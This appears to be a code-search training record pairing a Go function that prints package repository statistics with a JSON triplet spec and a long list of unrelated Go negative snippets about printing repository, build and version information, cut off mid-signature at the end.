func printRepositoryInfo(i *index.Index) { fmtutil.Separator(false, "REPOSITORY INFO") updated := timeutil.Format(time.Unix(i.Meta.Created, 0), "%Y/%m/%d %H:%M:%S") fmtc.Printf(" {*}UUID{!}: %s\n", i.UUID) fmtc.Printf(" {*}Updated{!}: %s\n\n", updated) for _, distName := range i.Data.Keys() { size, items := int64(0), 0 for archName, arch := range i.Data[distName] { for _, category := range arch { for _, version := range category { size += version.Size items++ if len(version.Variations) != 0 { for _, variation := range version.Variations { items++ size += variation.Size } } } } fmtc.Printf( " {c*}%s{!}{c}/%s:{!} %3s {s-}|{!} %s\n", distName, archName, fmtutil.PrettyNum(items), fmtutil.PrettySize(size, " "), ) } } fmtc.NewLine() fmtc.Printf( " {*}Total:{!} %s {s-}|{!} %s\n", fmtutil.PrettyNum(i.Meta.Items), fmtutil.PrettySize(i.Meta.Size, " "), ) fmtutil.Separator(false) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (r *GitRegistry) Info(ct *out.Container) {\n\tct.Add(out.NewValue(\"Repository\", r.Repository))\n}", "func (r repo) print(verbose bool) {\n\tif verbose {\n\t\tfmt.Printf(\"%s (%s)\\n\\t%s\\n\\t%s\\n\", r.Name, r.Desc, r.HTTP, r.SSH)\n\t\treturn\n\t}\n\tfmt.Println(r.SSH)\n}", "func (g *GitLocal) Info(dir string) (*GitRepository, error) {\n\treturn g.GitCLI.Info(dir)\n}", "func (pkg *MCPMPackage) PrintInfo() {\n\tfmt.Printf(\" ID: %d\\n Name: %s (%s)\\n Type: %s\\n\", pkg.id, pkg.title, pkg.name, pkg.ptype)\n}", "func describeRepository(flags *pflag.FlagSet, image string) error {\n\torg, _, err := dockerhub.GetFlags(flags)\n\tif err != nil {\n\t\tcolor.Red(\"Error: %s\", err)\n\t}\n\n\trepoInfo, err := dockerhub.NewClient(org, \"\").DescribeRepository(image)\n\tif err != nil {\n\t\tcolor.Red(\"Error: %s\", err)\n\t}\n\n\tcolor.Blue(\"User: \" + repoInfo.User +\n\t\t\"\\nName: \" + repoInfo.Name +\n\t\t\"\\nNamespace: \" + repoInfo.Namespace +\n\t\t\"\\nRepositoryType: \" + repoInfo.RepositoryType +\n\t\t\"\\nStatus: \" + fmt.Sprintf(\"%d\", repoInfo.Status) +\n\t\t\"\\nDescription: \" + repoInfo.Description +\n\t\t\"\\nIsPrivate: \" + fmt.Sprintf(\"%t\", repoInfo.IsPrivate) +\n\t\t\"\\nIsAutomated: \" + fmt.Sprintf(\"%t\", repoInfo.IsAutomated) +\n\t\t\"\\nCanEdit: \" + fmt.Sprintf(\"%t\", repoInfo.CanEdit) +\n\t\t\"\\nStarCount: \" + fmt.Sprintf(\"%d\", repoInfo.StarCount) +\n\t\t\"\\nPullCount: \" + fmt.Sprintf(\"%d\", repoInfo.PullCount) +\n\t\t\"\\nLastUpdated: \" + fmt.Sprint(repoInfo.LastUpdated) +\n\t\t\"\\nIsMigrated: \" + fmt.Sprintf(\"%t\", repoInfo.IsMigrated) +\n\t\t\"\\nCollaboratorCount: \" + fmt.Sprintf(\"%d\", repoInfo.CollaboratorCount) +\n\t\t\"\\nAffiliation: \" + repoInfo.Affiliation +\n\t\t\"\\nHubUser: \" + repoInfo.HubUser)\n\n\treturn nil\n}", "func (n *NamedRepository) String() string {\n\treturn n.name + \":\" + n.tag\n}", "func PrintInfo(descriptorDir string, status *tor.RouterStatus) {\n\n\tdesc, err := tor.LoadDescriptorFromDigest(descriptorDir, status.Digest, status.Publication)\n\tif err == nil {\n\t\tif !printedBanner {\n\t\t\tfmt.Println(\"fingerprint,nickname,ip_addr,or_port,dir_port,flags,published,version,platform,bandwidthavg,bandwidthburst,uptime,familysize\")\n\t\t\tprintedBanner = true\n\t\t}\n\t\tfmt.Printf(\"%s,%s,%d,%d,%d,%d\\n\", status, desc.OperatingSystem, desc.BandwidthAvg, desc.BandwidthBurst, desc.Uptime, len(desc.Family))\n\t} else {\n\t\tif !printedBanner {\n\t\t\tfmt.Println(\"fingerprint,nickname,ip_addr,or_port,dir_port,flags,published,version\")\n\t\t\tprintedBanner = true\n\t\t}\n\t\tfmt.Println(status)\n\t}\n}", "func TestPrintStarredRepos(t *testing.T) {\n\tPrintStarredRepos()\n}", "func (r *UserRepoImpl) Print() string {\n\treturn \"userrepo\" + fmt.Sprintf(\"%v\", r.TContext.Runtime())\n}", "func PrintRawInfo(app string) {\n\tfmt.Printf(\"Release Version (%s): %s\\n\", app, Version)\n\tfmt.Printf(\"Git Commit Hash: %s\\n\", GitHash)\n\tfmt.Printf(\"Git Branch: %s\\n\", GitBranch)\n\tfmt.Printf(\"UTC Build Time: %s\\n\", BuildTS)\n}", "func (repo Repository) String() string {\n\tvar uri string\n\tif repo.RemoteURI != \"\" {\n\t\turi = \", points to \" + repo.RemoteURI\n\t} else {\n\t\turi = \"\"\n\t}\n\n\treturn repo.ID + \" ('\" + repo.Name + \"'){ \" +\n\t\trepo.Type + \", \" + repo.Format + \" format, \" +\n\t\trepo.Policy + \" policy\" + uri + \" }\"\n}", "func (c *Coin) PrintCoinInfo(prefix string) error {\n\tphelper := func(s string, ok bool) string {\n\t\tst := \"MISSING\"\n\t\tif ok {\n\t\t\tst = \" OK\"\n\t\t}\n\t\treturn fmt.Sprintf(\"[ %s ] %s\", st, s)\n\t}\n\n\tfmt.Printf(`%s\n * Base directory: %s\n * Binary directory: %s\n * Coin daemon binary: %s\n * Coin status binary: %s\n * Data directory: %s\n * Config file: %s\n`,\n\t\tprefix,\n\t\tphelper(c.state.walletPath, c.state.walletPathExists),\n\t\tphelper(c.state.binPath, c.state.binPathExists),\n\t\tphelper(c.state.daemonBinPath, c.state.daemonBinExists),\n\t\tphelper(c.state.statusBinPath, c.state.statusBinExists),\n\t\tphelper(c.state.dataPath, c.state.dataPathExists),\n\t\tphelper(c.state.configFilePath, c.state.configFileExists))\n\n\treturn nil\n}", "func PrintInfo(version, commit, date string) {\n\tfmt.Println(\"🔥 Heamon version:\", version)\n\tfmt.Println(\"🛠️ Commit:\", commit)\n\tfmt.Println(\"📅 Release Date:\", date)\n}", "func (t TrackedRepository) String() string {\n\treturn fmt.Sprintf(\"%v/%v\", t.Owner, t.Name)\n}", "func (r Repo) Info(args ...interface{}) {\n\tr.Logger.Info(args...)\n}", "func Info() string {\n\treturn fmt.Sprintf(\"(version=%s, branch=%s, revision=%s)\", version, branch, revision)\n}", "func printBookInfo(book Book) {\n\tfmt.Println(\"Book Information\")\n\tfmt.Println(\"Title:\", book.title)\n\tfmt.Println(\"Author:\", book.author)\n\tfmt.Println(\"ID:\", book.id)\n}", "func (s Repository) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s Repository) String() string {\n\treturn awsutil.Prettify(s)\n}", "func GitSvnInfo(repoPath, label string) (string, error) {\n\tout, err := execCmdCombinedOutput(repoPath, \"git\", \"svn\", \"info\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"git svn info failed (%s), not a git repo??\\n\", err)\n\t}\n\n\tlines := strings.SplitAfter(string(out), \"\\n\")\n\tfor _, line := range lines {\n\t\tw := strings.SplitN(line, \":\", 2)\n\t\tif w[0] == label {\n\t\t\treturn strings.TrimSpace(w[1]), nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"attribute %s not found in git svn info\", label)\n}", "func (s GetRepositoryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (r *RepoContent) Print(o io.Writer) error {\n\tb, err := json.MarshalIndent(r, \"\", \" \")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to marshal report: %v\", err)\n\t}\n\t_, err = o.Write(b)\n\treturn err\n}", "func PrintInfo() {\n\tPrint(GreenText(LibraryInfo()))\n}", "func printInfo(format string, a ...interface{}) {\n\tif fetchConfig().verbosity < Info {\n\t\treturn\n\t}\n\tif fetchConfig().color {\n\t\tformat = color.FgGreen.Render(format)\n\t}\n\tfmt.Fprintf(os.Stdout, format+\"\\n\", a...)\n}", "func (*RepoInfo) Descriptor() ([]byte, []int) {\n\treturn file_helm_api_proto_rawDescGZIP(), []int{3}\n}", "func (o RepositoryOutput) RepositoryName() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Repository) pulumi.StringPtrOutput { return v.RepositoryName }).(pulumi.StringPtrOutput)\n}", "func PrintHelp() {\n\n\thelpString := `\n Usage: ./nexus-repository-cli.exe [option] [parameters...]\n\n [options]\n -list\n List the repositories in Nexus. Optional parameters: repoType, repoPolicy\n -create\n Create a repository in Nexus. Required parameter: repoId, repoType, provider, repoPolicy (only for maven2). Optional parameter: exposed\n -delete\n Delete a repository in Nexus. Required parameter: repoId\n -addRepoToGroup\n Add a reposirory to a group repository. Required parameters: repoId, repositories\n\n [parameters]\n -nexusUrl string\n Nexus server URL (default \"http://localhost:8081/nexus\")\n -exposed\n Set this flag to expose the repository in nexus.\n -username string\n Username for authentication\n -password string\n Password for authentication\n -repoId string\n ID of the Repository\n -repoType string\n Type of a repository. Possible values : hosted/proxy/group\n -repoPolicy string\n Policy of the hosted repository. Possible values : snapshot/release\n -provider string\n Repository provider. Possible values: maven2/npm/nuget\n -remoteStorageUrl string\n Remote storage url to proxy in Nexus\n -repositories string\n Comma separated value of repositories to be added to a group.\n -verbose\n Set this flag for Debug logs.\n\t`\n\n\tflag.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, helpString)\n\t}\n}", "func (r *Routers) PrintInfo() {\n\tr.lock.Lock()\n\tdefer r.lock.Unlock()\n\n\tvar urlS string\n\tfor k := range r.urls {\n\t\turlS += \"\\n\" + k\n\t}\n\tlog.Printf(\"[api init]:routers, url: %v\", urlS)\n}", "func printDetails(data *Data) {\n\tfmt.Println(\"user name : \", data.UserName)\n\tfmt.Println(\"passord : \", data.Password)\n\tfmt.Println(\"HostName : \", data.HostName)\n\tfmt.Println(\"port : \", data.Port)\n\tfmt.Println(\"destination dir\", data.DumpDir)\n\tfmt.Println(\"zip file name :\", data.ZipFileName)\n\tfmt.Println(\"database Name \", data.Databases[0].DatabaseName)\n}", "func ShowCreatedRepos(repos []string) {\n\tfmt.Printf(\"Created %d repositories\\n\", len(repos))\n\tfor _, v := range repos {\n\t\tfmt.Printf(\"%s\\n\", v)\n\t}\n}", "func FormatRepository(repo *models.Repository, opt string) string {\n\tvar listOfCommandNames []string\n\tfor _, c := range repo.Commands {\n\t\tlistOfCommandNames = append(listOfCommandNames, c.Name)\n\t}\n\n\td := []kv{\n\t\t{\"id\", repo.ID},\n\t\t{\"name\", repo.Name},\n\t\t{\"url\", repo.URL},\n\t\t{\"vcs\", repo.VCS},\n\t\t{\"callback-url\", repo.UniqueURL},\n\t\t{\"attached-commands\", strings.Join(listOfCommandNames, \",\")},\n\t}\n\tif repo.GitLab != nil {\n\t\td = append(d, kv{\n\t\t\t\"project-id\", repo.GitLab.GetProjectID(),\n\t\t})\n\t}\n\tformatter := NewFormatter(opt)\n\treturn formatter.FormatObject(d)\n}", "func (f Fetcher) PrintMetadata() {\n\tf.printURL()\n\tf.printLastFetchTime()\n\tf.printLinkCount()\n\tf.printImageCount()\n}", "func Print() {\n\tfmt.Printf(\"hierarchy, version %v (branch: %v, revision: %v), build date: %v, go version: %v\\n\", Version, Branch, GitSHA1, BuildDate, runtime.Version())\n}", "func (s CodeCommitRepository) String() string {\n\treturn awsutil.Prettify(s)\n}", "func GetInfo() string {\n\treturn fmt.Sprintf(\"version: %s, commit: %s\", Version, GitCommit)\n}", "func showVersion() {\n\tfmt.Print(versionString())\n\tfmt.Print(releaseString())\n\tif devBuild && gitShortStat != \"\" {\n\t\tfmt.Printf(\"%s\\n%s\\n\", gitShortStat, gitFilesModified)\n\t}\n}", "func PrintBRInfo() {\n\tfmt.Println(\"Release Version:\", BRReleaseVersion)\n\tfmt.Println(\"Git Commit Hash:\", BRGitHash)\n\tfmt.Println(\"Git Branch:\", BRGitBranch)\n\tfmt.Println(\"UTC Build Time: \", BRBuildTS)\n\tfmt.Println(\"Race Enabled: \", israce.RaceEnabled)\n}", "func (s *Subscriber) PrintInfo() {\n\tfmt.Println(\"Name: \", s.name)\n\tfmt.Println(\"Rate: \", s.rate)\n\tfmt.Println(\"active? \", s.active)\n\tfmt.Printf(\"Address:\\nStreet: %s,\\n%s, %s\\n%s\", s.Street, s.City, s.State, s.PostalCode)\n}", "func (s *ServerT) PrintInfo() {\n\tsupport.Logger.Infof(\"* Version %s (%s), build: %s\", support.VERSION, runtime.Version(), support.Build)\n\tsupport.Logger.Infof(\"* Environment: %s\", s.Config.AppyEnv)\n\tsupport.Logger.Infof(\"* Environment Config: %s\", support.DotenvPath)\n\n\thosts, _ := s.Hosts()\n\thost := fmt.Sprintf(\"http://%s:%s\", hosts[0], s.Config.HTTPPort)\n\n\tif s.Config.HTTPSSLEnabled == true {\n\t\thost = fmt.Sprintf(\"https://%s:%s\", hosts[0], s.Config.HTTPSSLPort)\n\t}\n\n\tsupport.Logger.Infof(\"* Listening on %s\", host)\n}", "func (service *Github) GetPackageRepoInfo(owner string, repositoryName string) (*Package, error) {\n\trepo, _, err := service.repositoryServices.Get(service.context, owner, repositoryName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpack := &Package{\n\t\tFullName: *repo.FullName,\n\t\tDescription: *repo.Description,\n\t\tForksCount: *repo.ForksCount,\n\t\tStarsCount: *repo.StargazersCount,\n\t}\n\treturn pack, nil\n}", "func Print(app, ver, gitRev string, gomod []byte) {\n\tfmtutil.SeparatorTitleColorTag = \"{s-}\"\n\tfmtutil.SeparatorFullscreen = false\n\tfmtutil.SeparatorColorTag = \"{s-}\"\n\tfmtutil.SeparatorSize = 80\n\n\tshowApplicationInfo(app, ver, gitRev)\n\tshowOSInfo()\n\tshowDepsInfo(gomod)\n\n\tfmtutil.Separator(false)\n}", "func (o GetChartRepositoriesRepositoryOutput) Summary() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetChartRepositoriesRepository) string { return v.Summary }).(pulumi.StringOutput)\n}", "func PrintLicenseInfo(key string) error {\n\tl, err := GetLicenseInfo(strings.ToLower(key))\n\n\t// TODO:: err type\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"key: %s\\n\", l.Key)\n\tfmt.Printf(\"id: %s\\n\", l.SpdxID)\n\tfmt.Printf(\"url: %s\\n\", l.LicenseURL)\n\n\tfmt.Printf(\"\\ndescription:\\n%s\\n\", l.Description)\n\n\tfmt.Printf(\"\\nimplementation:\\n%s\\n\", l.Implementation)\n\n\tprint(\"\\npermissions:\\n\")\n\tfor _, c := range l.Permissions {\n\t\tfmt.Printf(\n\t\t\t\" %s %s\\n\",\n\t\t\tcolor.NewAtt(text_color.HiGreen).ColorString(string(IconCheck)),\n\t\t\tc,\n\t\t)\n\t}\n\n\tprint(\"\\nlimitations:\\n\")\n\tfor _, c := range l.Limitations {\n\t\tfmt.Printf(\n\t\t\t\" %s %s\\n\",\n\t\t\tcolor.NewAtt(text_color.HiRed).ColorString(string(IconCross)),\n\t\t\tc,\n\t\t)\n\t}\n\n\tprint(\"\\nconditions:\\n\")\n\tfor _, c := range l.Conditions {\n\t\tfmt.Printf(\n\t\t\t\" %s %s\\n\",\n\t\t\tcolor.NewAtt(text_color.HiBlue).ColorString(string(IconInfo)),\n\t\t\tc,\n\t\t)\n\t}\n\n\tprint(\"\\n\")\n\treturn nil\n}", "func buildInfo(c *cli.Context) error {\n\trepo := c.Args().First()\n\towner, name, err := parseRepo(repo)\n\tif err != nil {\n\t\treturn err\n\t}\n\tnumber, err := strconv.Atoi(c.Args().Get(1))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient, err := newClient(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tbuild, err := client.Build(owner, name, number)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttmpl, err := template.New(\"_\").Parse(c.String(\"format\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn tmpl.Execute(os.Stdout, build)\n}", "func (info Info) String() (out string) {\n\tif info.Release {\n\t\tout += fmt.Sprintln(\"Release build\")\n\t} else {\n\t\tout += fmt.Sprintln(\"Development build\")\n\t}\n\n\tif !info.Version.IsZero() {\n\t\tout += fmt.Sprintln(\"Version:\", info.Version.String())\n\t}\n\tif !info.Timestamp.IsZero() {\n\t\tout += fmt.Sprintln(\"Build timestamp:\", info.Timestamp.Format(time.RFC822))\n\t}\n\tif info.CommitHash != \"\" {\n\t\tout += fmt.Sprintln(\"Git commit:\", info.CommitHash)\n\t}\n\tif info.Modified {\n\t\tout += fmt.Sprintln(\"Modified (dirty): true\")\n\t}\n\treturn out\n}", "func (r *jsiiProxy_RepositoryBase) ToString() *string {\n\tvar returns *string\n\n\t_jsii_.Invoke(\n\t\tr,\n\t\t\"toString\",\n\t\tnil, // no parameters\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "func TestRepositoryFind(t *testing.T) {\n\tdefer gock.Off()\n\n\tgock.New(\"https://gitlab.com\").\n\t\tGet(\"/api/v4/projects/diaspora/diaspora\").\n\t\tReply(200).\n\t\tType(\"application/json\").\n\t\tSetHeaders(mockHeaders).\n\t\tFile(\"testdata/repo.json\")\n\n\tclient := NewDefault()\n\tgot, res, err := client.Repositories.Find(context.Background(), \"diaspora/diaspora\")\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\twant := new(scm.Repository)\n\traw, _ := ioutil.ReadFile(\"testdata/repo.json.golden\")\n\tjson.Unmarshal(raw, want)\n\n\tif diff := cmp.Diff(got, want); diff != \"\" {\n\t\tt.Errorf(\"Unexpected Results\")\n\t\tt.Log(diff)\n\t}\n\n\tt.Run(\"Request\", testRequest(res))\n\tt.Run(\"Rate\", testRate(res))\n}", "func (h *stiGit) GetInfo(repo string) *SourceInfo {\n\tgit := func(arg ...string) string {\n\t\tcommand := exec.Command(\"git\", arg...)\n\t\tcommand.Dir = repo\n\t\tout, err := command.CombinedOutput()\n\t\tif err != nil {\n\t\t\tlog.V(1).Infof(\"Error executing 'git %#v': %s (%v)\", arg, out, err)\n\t\t\treturn \"\"\n\t\t}\n\t\treturn strings.TrimSpace(string(out))\n\t}\n\treturn &SourceInfo{\n\t\tLocation: git(\"config\", \"--get\", \"remote.origin.url\"),\n\t\tRef: git(\"rev-parse\", \"--abbrev-ref\", \"HEAD\"),\n\t\tCommitID: git(\"rev-parse\", \"--verify\", \"HEAD\"),\n\t\tAuthorName: git(\"--no-pager\", \"show\", \"-s\", \"--format=%an\", \"HEAD\"),\n\t\tAuthorEmail: git(\"--no-pager\", \"show\", \"-s\", \"--format=%ae\", \"HEAD\"),\n\t\tCommitterName: git(\"--no-pager\", \"show\", \"-s\", \"--format=%cn\", \"HEAD\"),\n\t\tCommitterEmail: git(\"--no-pager\", \"show\", \"-s\", \"--format=%ce\", \"HEAD\"),\n\t\tDate: git(\"--no-pager\", \"show\", \"-s\", \"--format=%ad\", \"HEAD\"),\n\t\tMessage: git(\"--no-pager\", \"show\", \"-s\", \"--format=%<(80,trunc)%s\", \"HEAD\"),\n\t}\n}", "func (info Info) String() string {\n\treturn info.GitVersion\n}", "func (info Info) String() string {\n\treturn info.GitVersion\n}", "func (d data) DisplayInfo() {\n\tfmt.Printf(\"name:%s\\tage:%d\\n\", d.name, d.age)\n}", "func (s CodeRepository) String() string {\n\treturn awsutil.Prettify(s)\n}", "func DisplayVersion() {\n\tfmt.Printf(`package: %s\nversion: %s\nrevision: %s\n`, Package, Version, Revision)\n}", "func printPodInfo(cs clientset.Interface, ns, pod string) {\n\toutput, _ := RunKubectl(ns, \"describe\", \"pod\", pod)\n\tLogf(\"Describe info of Pod %q:\\n%s\", pod, output)\n\tlog, _ := getPodLogs(cs, ns, pod, &v1.PodLogOptions{})\n\tLogf(\"Log of Pod %q:\\n%s\", pod, log)\n\tlog, _ = getPodLogs(cs, ns, pod, &v1.PodLogOptions{Previous: true})\n\tLogf(\"Previous log of Pod %q:\\n%s\", pod, log)\n}", "func PrintBuildInfo() string {\n\tbuildInfo := &BuildInfo{Branch, Sha, Version}\n\tout, err := yaml.Marshal(buildInfo)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(out)\n}", "func (s CreateRepositoryOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func BeeReposInfo() (repos Repos) {\n\tvar url = \"https://api.github.com/repos/beego/bee\"\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tbeeLogger.Log.Warnf(\"Get bee repos from github error: %s\", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tbodyContent, _ := ioutil.ReadAll(resp.Body)\n\tif err = json.Unmarshal(bodyContent, &repos); err != nil {\n\t\tbeeLogger.Log.Warnf(\"Unmarshal repos body error: %s\", err)\n\t\treturn\n\t}\n\treturn\n}", "func InfoURL(namespace string, name string) string {\n\tbase := \"https://hub.docker.com/v2/repositories\"\n\treturn fmt.Sprintf(\"%s/%s/%s\", base, namespace, name)\n}", "func PrintInfo(s Solid) {\n\tfmt.Println(s)\n\tfmt.Printf(\"Volume: %0.3f\\n\", s.Volume())\n\tfmt.Printf(\"Surface Area: %0.3f\\n\", s.SurfaceArea())\n}", "func RunInfo(ctx CommandContext, args InfoArgs) error {\n\t// FIXME: fmt.Fprintf(ctx.Stdout, \"Servers: %s\\n\", \"quantity\")\n\t// FIXME: fmt.Fprintf(ctx.Stdout, \"Images: %s\\n\", \"quantity\")\n\tfmt.Fprintf(ctx.Stdout, \"Debug mode (client):\\t%v\\n\", ctx.Getenv(\"DEBUG\") != \"\")\n\n\tfmt.Fprintf(ctx.Stdout, \"Organization:\\t\\t%s\\n\", ctx.API.Organization)\n\t// FIXME: add partially-masked token\n\tfmt.Fprintf(ctx.Stdout, \"API Endpoint:\\t\\t%s\\n\", api.ComputeAPI)\n\tconfigPath, _ := config.GetConfigFilePath()\n\tfmt.Fprintf(ctx.Stdout, \"RC file:\\t\\t%s\\n\", configPath)\n\tfmt.Fprintf(ctx.Stdout, \"User:\\t\\t\\t%s\\n\", ctx.Getenv(\"USER\"))\n\tfmt.Fprintf(ctx.Stdout, \"CPUs:\\t\\t\\t%d\\n\", runtime.NumCPU())\n\thostname, _ := os.Hostname()\n\tfmt.Fprintf(ctx.Stdout, \"Hostname:\\t\\t%s\\n\", hostname)\n\tcliPath, _ := osext.Executable()\n\tfmt.Fprintf(ctx.Stdout, \"CLI Path:\\t\\t%s\\n\", cliPath)\n\n\tfmt.Fprintln(ctx.Stdout, \"\")\n\tfmt.Fprintf(ctx.Stdout, \"Cache:\\t\\t\\t%s\\n\", ctx.API.Cache.Path)\n\tfmt.Fprintf(ctx.Stdout, \" Servers:\\t\\t%d\\n\", ctx.API.Cache.GetNbServers())\n\tfmt.Fprintf(ctx.Stdout, \" Images:\\t\\t%d\\n\", ctx.API.Cache.GetNbImages())\n\tfmt.Fprintf(ctx.Stdout, \" Snapshots:\\t\\t%d\\n\", ctx.API.Cache.GetNbSnapshots())\n\tfmt.Fprintf(ctx.Stdout, \" Volumes:\\t\\t%d\\n\", ctx.API.Cache.GetNbVolumes())\n\tfmt.Fprintf(ctx.Stdout, \" Bootscripts:\\t\\t%d\\n\", ctx.API.Cache.GetNbBootscripts())\n\n\tuser, err := ctx.API.GetUser()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Unable to get your SSH Keys\")\n\t}\n\n\tif len(user.SSHPublicKeys) == 0 {\n\t\tfmt.Fprintln(ctx.Stdout, \"You have no ssh keys\")\n\t} else {\n\t\tfmt.Fprintln(ctx.Stdout, \"\")\n\t\tfmt.Fprintln(ctx.Stdout, \"SSH Keys:\")\n\t\tfor id, key := range user.SSHPublicKeys {\n\t\t\tfmt.Fprintf(ctx.Stdout, \" [%d] %s\\n\", id, key.Fingerprint)\n\t\t}\n\t\tfmt.Fprintf(ctx.Stdout, \"\\n\")\n\t}\n\n\tdashboard, err := ctx.API.GetDashboard()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Unable to get your dashboard\")\n\t}\n\tfmt.Fprintln(ctx.Stdout, \"Dashboard:\")\n\tfmt.Fprintf(ctx.Stdout, \" Volumes:\\t\\t%d\\n\", dashboard.VolumesCount)\n\tfmt.Fprintf(ctx.Stdout, \" Running servers:\\t%d\\n\", dashboard.RunningServersCount)\n\tfmt.Fprintf(ctx.Stdout, \" Images:\\t\\t%d\\n\", dashboard.ImagesCount)\n\tfmt.Fprintf(ctx.Stdout, \" Snapshots:\\t\\t%d\\n\", dashboard.SnapshotsCount)\n\tfmt.Fprintf(ctx.Stdout, \" Servers:\\t\\t%d\\n\", dashboard.ServersCount)\n\tfmt.Fprintf(ctx.Stdout, \" Ips:\\t\\t\\t%d\\n\", dashboard.IPsCount)\n\n\tfmt.Fprintf(ctx.Stdout, \"\\n\")\n\tpermissions, err := ctx.API.GetPermissions()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Unable to get your permisssions\")\n\t}\n\tfmt.Fprintln(ctx.Stdout, \"Permissions:\")\n\tfor _, service := range permissions.Permissions {\n\t\tfor key, serviceName := range service {\n\t\t\tfmt.Fprintf(ctx.Stdout, \" %s\\n\", key)\n\t\t\tfor _, perm := range serviceName {\n\t\t\t\tfmt.Fprintf(ctx.Stdout, \" %s\\n\", perm)\n\t\t\t}\n\t\t}\n\t}\n\tfmt.Fprintf(ctx.Stdout, \"\\n\")\n\tquotas, err := ctx.API.GetQuotas()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Unable to get your quotas\")\n\t}\n\tfmt.Fprintln(ctx.Stdout, \"Quotas:\")\n\tfor key, value := range quotas.Quotas {\n\t\tfmt.Fprintf(ctx.Stdout, \" %-20s: %d\\n\", key, value)\n\t}\n\treturn nil\n}", "func (i Info) String() string {\n\treturn fmt.Sprintf(\"%v.%v.%v+%v\", i.Major, i.Minor, i.Patch, i.GitCommit)\n}", "func (i geoLocationInfo) print() {\n\tif i[\"status\"] == \"fail\" {\n\t\tfmt.Printf(\"\\nno geolocation info available\\n\")\n\t} else {\n\t\tfmt.Printf(\"\\nGeolocation info: %s, %s\\n\", i[\"city\"], i[\"country\"])\n\t\tfmt.Printf(\"Organization: %s\\n\", i[\"org\"])\n\t}\n}", "func (m *Monocular) Info(apiEndpoint string, skipSSLValidation bool) (interfaces.CNSIRecord, interface{}, error) {\n\tlog.Debug(\"Helm Repository Info\")\n\tvar v2InfoResponse interfaces.V2Info\n\tvar newCNSI interfaces.CNSIRecord\n\n\tnewCNSI.CNSIType = helmEndpointType\n\n\t_, err := url.Parse(apiEndpoint)\n\tif err != nil {\n\t\treturn newCNSI, nil, err\n\t}\n\n\t// Just check that we can fetch index.yaml\n\tvar httpClient = m.portalProxy.GetHttpClient(skipSSLValidation)\n\tres, err := httpClient.Get(apiEndpoint + \"/index.yaml\")\n\tif err != nil {\n\t\t// This should ultimately catch 503 cert errors\n\t\treturn newCNSI, nil, err\n\t}\n\n\tif res.StatusCode >= 400 {\n\t\treturn newCNSI, nil, fmt.Errorf(\"Does not appear to be a Helm Repository (HTTP Status code: %d)\", res.StatusCode)\n\t}\n\n\t// We were able to fetch the index.yaml, so looks like a Helm Repository\n\t// We could parse the contents and check further\n\tnewCNSI.TokenEndpoint = apiEndpoint\n\tnewCNSI.AuthorizationEndpoint = apiEndpoint\n\n\treturn newCNSI, v2InfoResponse, nil\n}", "func Print() {\n\tfmt.Println(\"Release Version:\", PDReleaseVersion)\n\tfmt.Println(\"Edition:\", PDEdition)\n\tfmt.Println(\"Git Commit Hash:\", PDGitHash)\n\tfmt.Println(\"Git Branch:\", PDGitBranch)\n\tfmt.Println(\"UTC Build Time: \", PDBuildTS)\n}", "func (o GetReposRepoOutput) Summary() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetReposRepo) string { return v.Summary }).(pulumi.StringOutput)\n}", "func PrintHelmReleaseInfo(release *release.Release, debug bool) error {\n\tif release == nil {\n\t\treturn nil\n\t}\n\tinfo( \"NAME: %s\", release.Name)\n\tif !release.Info.LastDeployed.IsZero() {\n\t\tinfo( \"LAST DEPLOYED: %s\", release.Info.LastDeployed.Format(time.ANSIC))\n\t}\n\tinfo( \"NAMESPACE: %s\", release.Namespace)\n\tinfo( \"STATUS: %s\", release.Info.Status.String())\n\tinfo( \"REVISION: %d\", release.Version)\n\n\n\tout := os.Stdout\n\tif debug {\n\t\tinfo(\"USER-SUPPLIED VALUES:\")\n\t\terr := output.EncodeYAML(out, release.Config)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Print an extra newline\n\t\tfmt.Fprintln(out)\n\n\t\tcfg, err := chartutil.CoalesceValues(release.Chart, release.Config)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Fprintln(out, \"COMPUTED VALUES:\")\n\t\terr = output.EncodeYAML(out, cfg.AsMap())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Print an extra newline\n\t\tfmt.Fprintln(out)\n\t}\n\n\tif strings.EqualFold(release.Info.Description, \"Dry run complete\") || debug {\n\t\tfmt.Fprintln(out, \"HOOKS:\")\n\t\tfor _, h := range release.Hooks {\n\t\t\tfmt.Fprintf(out, \"---\\n# Source: %s\\n%s\\n\", h.Path, h.Manifest)\n\t\t}\n\t\tfmt.Fprintf(out, \"MANIFEST:\\n%s\\n\", release.Manifest)\n\t}\n\n\tif len(release.Info.Notes) > 0 {\n\t\tfmt.Fprintf(out, \"NOTES:\\n%s\\n\", strings.TrimSpace(release.Info.Notes))\n\t}\n\treturn nil\n}", "func (rr RepositoryReference) String() string {\n\treturn fmt.Sprintf(\"%s/%s\", rr.OwnerName, rr.Name)\n}", "func DisplayInfo(projectType string) 